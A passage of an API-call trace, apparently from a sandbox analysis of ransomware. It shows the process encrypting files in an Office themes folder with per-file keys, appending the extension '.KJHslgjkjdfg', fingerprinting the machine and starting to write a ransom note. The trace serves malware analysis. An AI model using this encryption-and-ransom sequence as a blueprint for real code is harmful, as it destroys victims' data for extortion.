SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x167b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.494] SetEndOfFile (hFile=0x118) returned 1 [0147.498] GetProcessHeap () returned 0x2a0000 [0147.498] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.498] GetProcessHeap () returned 0x2a0000 [0147.498] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.498] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm.kjhslgjkjdfg")) returned 1 [0147.499] CloseHandle (hObject=0x118) returned 1 [0147.499] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PAPYRUS.INF", cAlternateFileName="")) returned 1 [0147.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.501] GetProcessHeap () returned 0x2a0000 [0147.501] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.501] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.501] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.501] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xc, lpOverlapped=0x0) returned 1 [0147.503] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.503] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.503] GetProcessHeap () returned 0x2a0000 [0147.503] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.503] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.503] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.503] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.503] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.503] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.503] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.503] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.503] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.504] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.504] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.504] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.504] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f4, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1f4, lpOverlapped=0x0) returned 1 [0147.504] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x200, dwBufLen=0x200 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x200) returned 1 [0147.504] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.504] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x200, lpOverlapped=0x0) returned 1 [0147.504] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.504] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.504] SetEndOfFile (hFile=0x118) returned 1 [0147.507] GetProcessHeap () returned 0x2a0000 [0147.507] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.507] GetProcessHeap () returned 0x2a0000 [0147.507] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.507] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf.kjhslgjkjdfg")) returned 1 [0147.512] CloseHandle (hObject=0x118) returned 1 [0147.512] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0147.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.513] GetProcessHeap () returned 0x2a0000 [0147.513] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.513] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.513] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.513] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x2, lpOverlapped=0x0) returned 1 [0147.515] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.515] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.515] GetProcessHeap () returned 0x2a0000 [0147.515] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.516] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.516] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.516] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.516] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.516] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.516] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.516] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.516] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.516] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.516] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.516] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.516] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa0e, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xa0e, lpOverlapped=0x0) returned 1 [0147.516] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xa10, dwBufLen=0xa10 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xa10) returned 1 [0147.517] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.517] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xa10, lpOverlapped=0x0) returned 1 [0147.517] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.517] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.517] SetEndOfFile (hFile=0x118) returned 1 [0147.519] GetProcessHeap () returned 0x2a0000 [0147.519] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.519] GetProcessHeap () returned 0x2a0000 [0147.519] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.520] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.kjhslgjkjdfg")) returned 1 [0147.524] CloseHandle (hObject=0x118) returned 1 [0147.525] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0147.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.526] GetProcessHeap () returned 0x2a0000 [0147.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.526] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.526] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.526] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.526] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.526] GetProcessHeap () returned 0x2a0000 [0147.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.526] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.526] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.526] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.528] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.529] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.529] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.529] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.529] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.529] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.529] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.529] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.529] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9240, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x9240, lpOverlapped=0x0) returned 1 [0147.530] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x9240, dwBufLen=0x9240 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x9240) returned 1 [0147.531] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.531] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9240, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x9240, lpOverlapped=0x0) returned 1 [0147.531] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.531] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x9314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.531] SetEndOfFile (hFile=0x118) returned 1 [0147.534] GetProcessHeap () returned 0x2a0000 [0147.534] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.534] GetProcessHeap () returned 0x2a0000 [0147.534] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.534] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0147.535] CloseHandle (hObject=0x118) returned 1 [0147.535] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0147.535] GetProcessHeap () returned 0x2a0000 [0147.535] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.535] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.535] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0147.535] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.535] GetProcessHeap () returned 0x2a0000 [0147.535] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0147.536] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.536] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0147.536] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.536] GetProcessHeap () returned 0x2a0000 [0147.536] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0147.536] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.536] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0147.536] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.536] GetProcessHeap () returned 0x2a0000 [0147.536] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0147.536] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.536] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0147.536] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.536] GetProcessHeap () returned 0x2a0000 [0147.536] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.536] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.536] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0147.536] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.536] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0147.536] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0147.536] RegCloseKey (hKey=0x118) returned 0x0 [0147.536] GetProcessHeap () returned 0x2a0000 [0147.536] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0147.537] GetProcessHeap () returned 0x2a0000 [0147.537] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.537] GetProcessHeap () returned 0x2a0000 [0147.537] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.537] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.537] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0147.537] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.537] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0147.537] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0147.537] GetProcessHeap () returned 0x2a0000 [0147.537] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.537] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0147.537] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0147.537] GetProcessHeap () returned 0x2a0000 [0147.537] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0147.537] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\readme-warning.txt") returned 82 [0147.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.538] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, 